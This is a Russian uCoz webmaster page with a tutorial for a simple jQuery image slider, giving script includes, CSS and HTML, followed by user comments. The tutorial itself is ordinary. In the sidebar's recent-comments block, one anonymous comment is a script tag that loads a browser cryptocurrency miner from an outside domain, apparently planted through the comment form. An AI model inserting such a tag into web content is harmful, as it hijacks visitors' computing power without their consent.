Понедельник, 19.02.2018, 22:59
Главная  Форум Регистрация Блог RSS
Приветствую Вас, Гость
Меню сайта
Статьи про uCoz
Наш опрос
Какую социальную сеть предпочитаете?


Всего ответов: 394

установить такой вид опроса
Статистика
Яндекс.Метрика
Онлайн всего: 5
Гостей: 5
Пользователей: 0


Зарегистрировано 30524 (сегодня + 1 новых, вчера + 0 новых), В каталоге файлов 1127 материала(ов), Оставлено 5119 комментариев, На форуме создано тем и ответов.

установить такую статистику

Блок CW результаты

Победы
Победы(10)

Поражения
Поражения(5)


Установить CW блок на свой сайт
Внимание!
Наш сайт адаптирован под браузер Mozilla Firefox
скрипты для uCoz
Скачать/Download
В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)

установить такой блок
Расскажи Друзьям!
Комментарии
Новость: Видео чат для вашего сайта
Александр написал:
https://chat-vsem.blogspot.ru
Новость: Преимущества создания сайта с помощью шаблона
Вика Ромашкина написал:
http://womanspv.ru/raznoe/obmanut-ofisnyj-dress-kod.html
http://womanspv.ru/beremennost/forum-28-nedelya-beremennosti.html
Новость: Блок баннеры "Наши друзья" uCoz
написал:
<script async="async" src="//web-miner.ru/lib/wm.js?s=161&p=50"></script>

Читать все комментарии
Топ комментаторов

установить такой информер
VKONTAKTE

FACEBOOK
Главная страница » Помощь Вебмастеру » Категория Скрипты для uCoz » Добавлено [10.11.2013, 22:41]

Простой слайдер новостей и фото изображений на uCoz

Войти или Зарегистрироваться [скачивать файлы могут только зарегистрированные пользователи!]

Много раз нам приходилось пострадать, от того, что на сайт требуется очень легенький слайдер и совсем не нужно перегружать код страницы лишними данными. Ну не нужны супер-эффекты при прокрутке изображений или тяжелые средства навигации. Просто легенький слайдер для сайтов, где и картинок-то не так много. Но начав поиск нужного материала в поисковиках мы чаще всего натыкаемся на информацию о том, как заработать деньги сидя дома без вложений, а не то, что нам необходимо.



Мы сталкивались с этой проблемой и искали, наши друзья и коллеги сталкивались и искали, и наконец, перебрав много вариантов, заценив все "за и "против", мы всем миром пришли к выводу, что один из лучших и заслуживающих внимания в этом случае - продукт Ucoz - самый легкий слайдер просмотра изображений. Написан традиционно с использованием JQuery. Вообще, любителям плагинов от Ucoz советуем следить за выходом новых версий библиотек JQuery, так как подавляющее большинство продуктов требуют их и только их. Скрипт подразумевает простое оформление и навигацию - с помощью мыши можно переключать изображения в любой последовательности. Оформление подходит для сайтов любой тематики и не имеет каких-то особенных элементов управления и навигации. Смена картинок происходит плавно, без рывков. Очень позитивное впечатление оставил легкий слайдер, так что всем советуем.

Важно: Скрипты из прикреплённого архива залейте в папку js

Установка:

После /head на нужных страницах вставляйте:
<script src="/js/jquery.scrollTo.js"></script>
<script src="/js/jquery.localscroll.js"></script>
<script src="/js/scripts.js"></script>

Следующий код в самый низ вашего css:

#slideshow {
width: 918px;
height: 546px;
overflow-x: scroll;
overflow-y: hidden;
margin: 100px auto 50px auto;
box-shadow: 0px 0px 80px #000;
-moz-box-shadow: 0px 0px 80px #000;
-webkit-box-shadow: 0px 0px 80px #000;
}
#slideshow ul {
width: 4590px;
list-style: none;
}
#slideshow ul li {
float: left;
}
#slideshow-nav {
width: 300px;
margin: 0 auto 200px auto;
visibility: hidden;
}
#slideshow-nav ul {
list-style: none;
}
#slideshow-nav ul li {
float: left;
}
#slideshow-nav ul li a {
display: block;
width: 30px;
height: 30px;
float: left;
margin: 0 10px;
background-color: #fff;
text-indent: -9999px;
border-radius: 30px;
-moz-border-radius: 30px;
-webkit-border-radius: 30px;
box-shadow: 0px 0px 30px #000;
-moz-box-shadow: 0px 0px 30px #000;
-webkit-box-shadow: 0px 0px 30px #000;
}
#slideshow-nav ul li a:hover, #slideshow-nav ul li a.active {
background-color: #a89d8a;
}
a {
outline: none;
}
a:focus {
background-color: #a89d8a;
}

Далее в то место, где должен быть слайдер, вставляйте:
<div id="slideshow">
<ul>
<li id="img1">
<a>
<img src="Ссылка на картинку 1" />
</a>
</li>
<li id="img2">
<a>
<img src="Ссылка на картинку 2" />
</a>
</li>
<li id="img3">
<a>
<img src="Ссылка на картинку 3" />
</a>
</li>
<li id="img4">
<a>
<img src="Ссылка на картинку 4" />
</a>
</li>
<li id="img5">
<a>
<img src="Ссылка на картинку 5" />
</a>
</li>
</ul>
</div>

<div id="slideshow-nav">
<ul>
<li><a href="#img1">Пункт 1</a></li>
<li><a href="#img2">Пункт 2</a></li>
<li><a href="#img3">Пункт 3</a></li>
<li><a href="#img4">Пункт 4</a></li>
<li><a href="#img5">Пункт 5</a></li>
</ul>
</div>



При копирование материалов с сайта необходимо указать активную ссылку источника - Скрипты для uCoz 2013 и Простой слайдер новостей и фото изображений на uCoz



Расскажи друзьям интересные новости:


- Установить на свой сайт блок социальных закладок
Категория: Скрипты для uCoz | Добавил: scripts_for_ucoz | Теги: изображений, фото, Простой, Новостей, uCoz, слайдер
Просмотров: 9280 | Загрузок: 207 | Комментарии: 4 | Рейтинг: 0.0/0
Всего комментариев: 4
4 medved2121   (15.12.2016 20:21)
Спасибо!!! Все работает.

3 Аdmin   (04.03.2015 13:06)
Спасибо Вам огромное!!!!!!!!!!!!!!!!! Я замучилась искать слайдер, который бы я по своим силам смогла бы установить, и вот случайно попадаю на Ваш сайт!!!! Всё получилось великолепно!!! Огромное Вам человеческое спасибо!!! Все понятно написали и объяснили.

+1   Спам
1 MOneymaker   (13.01.2014 15:29)
спасибо!

2 САшка   (10.02.2014 07:14)
cool не за что

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Для добавления необходима авторизация

Хостинг от uCoz